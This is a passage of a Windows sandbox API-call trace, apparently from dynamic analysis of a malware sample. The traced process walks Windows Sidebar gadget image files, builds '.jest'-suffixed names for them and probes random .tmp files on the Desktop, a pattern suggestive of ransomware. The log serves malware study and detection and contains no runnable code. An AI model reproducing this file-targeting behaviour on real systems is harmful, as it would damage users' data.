GetFullPathNameA (in: lpFileName="-Q42iidl92CraZB2b0xyEsFPYwMGuhHRRZl_ Xo3JsVuXT4aXQLY vFW3JOI3i-EKLna8_YMXGeHF3165gNa1Rg5vJ3ulzI8ZYs4.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-Q42iidl92CraZB2b0xyEsFPYwMGuhHRRZl_ Xo3JsVuXT4aXQLY vFW3JOI3i-EKLna8_YMXGeHF3165gNa1Rg5vJ3ulzI8ZYs4.tmp", lpFilePart=0x18e6e4*="-Q42iidl92CraZB2b0xyEsFPYwMGuhHRRZl_ Xo3JsVuXT4aXQLY vFW3JOI3i-EKLna8_YMXGeHF3165gNa1Rg5vJ3ulzI8ZYs4.tmp") returned 0x8e [0125.102] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-Q42iidl92CraZB2b0xyEsFPYwMGuhHRRZl_ Xo3JsVuXT4aXQLY vFW3JOI3i-EKLna8_YMXGeHF3165gNa1Rg5vJ3ulzI8ZYs4.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x3234512d, cFileName="iidl92CraZB2b0xyEsFPYwMGuhHRRZl_ Xo3JsVuXT4aXQLY vFW3JOI3i-EKLna8_YMXGeHF3165gNa1Rg5vJ3ulzI8ZYs4.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.103] GetLastError () returned 0x2 [0125.103] GetLastError () returned 0x2 [0125.103] SetLastError (dwErrCode=0x2) [0125.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.103] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.103] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", lpFilePart=0x18e870*="curl-hot.png") returned 0x52 [0125.109] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png.jest", lpFilePart=0x18e870*="curl-hot.png.jest") returned 0x57 [0125.111] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", lpFilePart=0x18e6d8*="curl-hot.png") returned 0x52 [0125.111] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c78adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x78, dwReserved1=0x0, cFileName="curl-hot.png", cAlternateFileName="")) returned 0x143ce48 [0125.111] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.112] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", lpFilePart=0x18e780*="curl-hot.png") returned 0x52 [0125.112] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", lpFilePart=0x18e780*="curl-hot.png") returned 0x52 [0125.112] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.112] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x7d)) [0125.112] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x7d)) [0125.112] GetUserDefaultLCID () returned 0x409 [0125.112] VarBstrFromR4 (in: fltIn=0x47944490, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.13") returned 0x0 [0125.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="í") returned 1 [0125.113] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", lpFilePart=0x18e780*="curl-hot.png") returned 0x52 [0125.113] GetFullPathNameA (in: lpFileName="Sigi3T9cHYyYLg8bLs788W8HUAi0_8JT3L7M yupGgZZgIcFl9e_GnZh4eyIcZ9-jR081RZ_d shgPbQyZ5-hgcfKO72UHNYJab.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sigi3T9cHYyYLg8bLs788W8HUAi0_8JT3L7M yupGgZZgIcFl9e_GnZh4eyIcZ9-jR081RZ_d shgPbQyZ5-hgcfKO72UHNYJab.tmp", lpFilePart=0x18e708*="Sigi3T9cHYyYLg8bLs788W8HUAi0_8JT3L7M yupGgZZgIcFl9e_GnZh4eyIcZ9-jR081RZ_d shgPbQyZ5-hgcfKO72UHNYJab.tmp") returned 0x8d [0125.113] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png", lpFilePart=0x18e708*="curl-hot.png") returned 0x52 [0125.114] GetFullPathNameA (in: lpFileName="Sigi3T9cHYyYLg8bLs788W8HUAi0_8JT3L7M yupGgZZgIcFl9e_GnZh4eyIcZ9-jR081RZ_d shgPbQyZ5-hgcfKO72UHNYJab.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sigi3T9cHYyYLg8bLs788W8HUAi0_8JT3L7M yupGgZZgIcFl9e_GnZh4eyIcZ9-jR081RZ_d shgPbQyZ5-hgcfKO72UHNYJab.tmp", lpFilePart=0x18e6e4*="Sigi3T9cHYyYLg8bLs788W8HUAi0_8JT3L7M yupGgZZgIcFl9e_GnZh4eyIcZ9-jR081RZ_d shgPbQyZ5-hgcfKO72UHNYJab.tmp") returned 0x8d [0125.114] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sigi3T9cHYyYLg8bLs788W8HUAi0_8JT3L7M yupGgZZgIcFl9e_GnZh4eyIcZ9-jR081RZ_d shgPbQyZ5-hgcfKO72UHNYJab.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x69676953, cFileName="3T9cHYyYLg8bLs788W8HUAi0_8JT3L7M yupGgZZgIcFl9e_GnZh4eyIcZ9-jR081RZ_d shgPbQyZ5-hgcfKO72UHNYJab.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.114] GetLastError () returned 0x2 [0125.114] GetLastError () returned 0x2 [0125.114] SetLastError (dwErrCode=0x2) [0125.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.114] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.115] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", lpFilePart=0x18e870*="curl.png") returned 0x4e [0125.136] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png.jest", lpFilePart=0x18e870*="curl.png.jest") returned 0x53 [0125.139] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", lpFilePart=0x18e6d8*="curl.png") returned 0x4e [0125.139] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c78adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x78, dwReserved1=0x0, cFileName="curl.png", cAlternateFileName="")) returned 0x143ce48 [0125.139] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.140] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", lpFilePart=0x18e780*="curl.png") returned 0x4e [0125.140] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", lpFilePart=0x18e780*="curl.png") returned 0x4e [0125.140] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.140] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x9c)) [0125.140] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x9c)) [0125.140] GetUserDefaultLCID () returned 0x409 [0125.140] VarBstrFromR4 (in: fltIn=0x47944494, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.16") returned 0x0 [0125.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr=")") returned 1 [0125.141] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", lpFilePart=0x18e780*="curl.png") returned 0x4e [0125.141] GetFullPathNameA (in: lpFileName="C0C9KU1Ogvhu-nUfSDRWmFbemg8rK30XLbUVPLd0fJkcE 0GcoipS0TMqqCw9TEszzR24IYoAgOi C-A2ZVL_oIPCeo vXwzeop4T.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C0C9KU1Ogvhu-nUfSDRWmFbemg8rK30XLbUVPLd0fJkcE 0GcoipS0TMqqCw9TEszzR24IYoAgOi C-A2ZVL_oIPCeo vXwzeop4T.tmp", lpFilePart=0x18e708*="C0C9KU1Ogvhu-nUfSDRWmFbemg8rK30XLbUVPLd0fJkcE 0GcoipS0TMqqCw9TEszzR24IYoAgOi C-A2ZVL_oIPCeo vXwzeop4T.tmp") returned 0x8f [0125.142] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png", lpFilePart=0x18e708*="curl.png") returned 0x4e [0125.142] GetFullPathNameA (in: lpFileName="C0C9KU1Ogvhu-nUfSDRWmFbemg8rK30XLbUVPLd0fJkcE 0GcoipS0TMqqCw9TEszzR24IYoAgOi C-A2ZVL_oIPCeo vXwzeop4T.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C0C9KU1Ogvhu-nUfSDRWmFbemg8rK30XLbUVPLd0fJkcE 0GcoipS0TMqqCw9TEszzR24IYoAgOi C-A2ZVL_oIPCeo vXwzeop4T.tmp", lpFilePart=0x18e6e4*="C0C9KU1Ogvhu-nUfSDRWmFbemg8rK30XLbUVPLd0fJkcE 0GcoipS0TMqqCw9TEszzR24IYoAgOi C-A2ZVL_oIPCeo vXwzeop4T.tmp") returned 0x8f [0125.142] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C0C9KU1Ogvhu-nUfSDRWmFbemg8rK30XLbUVPLd0fJkcE 0GcoipS0TMqqCw9TEszzR24IYoAgOi C-A2ZVL_oIPCeo vXwzeop4T.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x39433043, cFileName="KU1Ogvhu-nUfSDRWmFbemg8rK30XLbUVPLd0fJkcE 0GcoipS0TMqqCw9TEszzR24IYoAgOi C-A2ZVL_oIPCeo vXwzeop4T.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.142] GetLastError () returned 0x2 [0125.142] GetLastError () returned 0x2 [0125.142] SetLastError (dwErrCode=0x2) [0125.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.142] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.143] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", lpFilePart=0x18e870*="month.png") returned 0x4f [0125.144] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png.jest", lpFilePart=0x18e870*="month.png.jest") returned 0x54 [0125.146] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", lpFilePart=0x18e6d8*="month.png") returned 0x4f [0125.146] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb40ef41c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x78, dwReserved1=0x0, cFileName="month.png", cAlternateFileName="")) returned 0x143ce48 [0125.146] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.146] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", lpFilePart=0x18e780*="month.png") returned 0x4f [0125.146] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", lpFilePart=0x18e780*="month.png") returned 0x4f [0125.147] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.147] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x9c)) [0125.147] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x9c)) [0125.147] GetUserDefaultLCID () returned 0x409 [0125.147] VarBstrFromR4 (in: fltIn=0x47944494, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.16") returned 0x0 [0125.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0125.147] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", lpFilePart=0x18e780*="month.png") returned 0x4f [0125.148] GetFullPathNameA (in: lpFileName="OQU26XNzrL7ykpifN5tKlaO_-ETUID-0oBABeH7kseuD_fbBS8dScCjOwd W0_6bhnu0y0h3-9mmYB1odp6vlsi7zZL9gb86KufTW.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OQU26XNzrL7ykpifN5tKlaO_-ETUID-0oBABeH7kseuD_fbBS8dScCjOwd W0_6bhnu0y0h3-9mmYB1odp6vlsi7zZL9gb86KufTW.tmp", lpFilePart=0x18e708*="OQU26XNzrL7ykpifN5tKlaO_-ETUID-0oBABeH7kseuD_fbBS8dScCjOwd W0_6bhnu0y0h3-9mmYB1odp6vlsi7zZL9gb86KufTW.tmp") returned 0x8f [0125.148] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png", lpFilePart=0x18e708*="month.png") returned 0x4f [0125.148] GetFullPathNameA (in: lpFileName="OQU26XNzrL7ykpifN5tKlaO_-ETUID-0oBABeH7kseuD_fbBS8dScCjOwd W0_6bhnu0y0h3-9mmYB1odp6vlsi7zZL9gb86KufTW.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OQU26XNzrL7ykpifN5tKlaO_-ETUID-0oBABeH7kseuD_fbBS8dScCjOwd W0_6bhnu0y0h3-9mmYB1odp6vlsi7zZL9gb86KufTW.tmp", lpFilePart=0x18e6e4*="OQU26XNzrL7ykpifN5tKlaO_-ETUID-0oBABeH7kseuD_fbBS8dScCjOwd W0_6bhnu0y0h3-9mmYB1odp6vlsi7zZL9gb86KufTW.tmp") returned 0x8f [0125.148] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OQU26XNzrL7ykpifN5tKlaO_-ETUID-0oBABeH7kseuD_fbBS8dScCjOwd W0_6bhnu0y0h3-9mmYB1odp6vlsi7zZL9gb86KufTW.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x3255514f, cFileName="6XNzrL7ykpifN5tKlaO_-ETUID-0oBABeH7kseuD_fbBS8dScCjOwd W0_6bhnu0y0h3-9mmYB1odp6vlsi7zZL9gb86KufTW.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.149] GetLastError () returned 0x2 [0125.149] GetLastError () returned 0x2 [0125.149] SetLastError (dwErrCode=0x2) [0125.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.149] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.150] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", lpFilePart=0x18e870*="drag.png") returned 0x44 [0125.156] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png.jest", lpFilePart=0x18e870*="drag.png.jest") returned 0x49 [0125.159] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", lpFilePart=0x18e6d8*="drag.png") returned 0x44 [0125.159] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ccadbf, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9ccadbf, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44a767c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x78, dwReserved1=0x0, cFileName="drag.png", 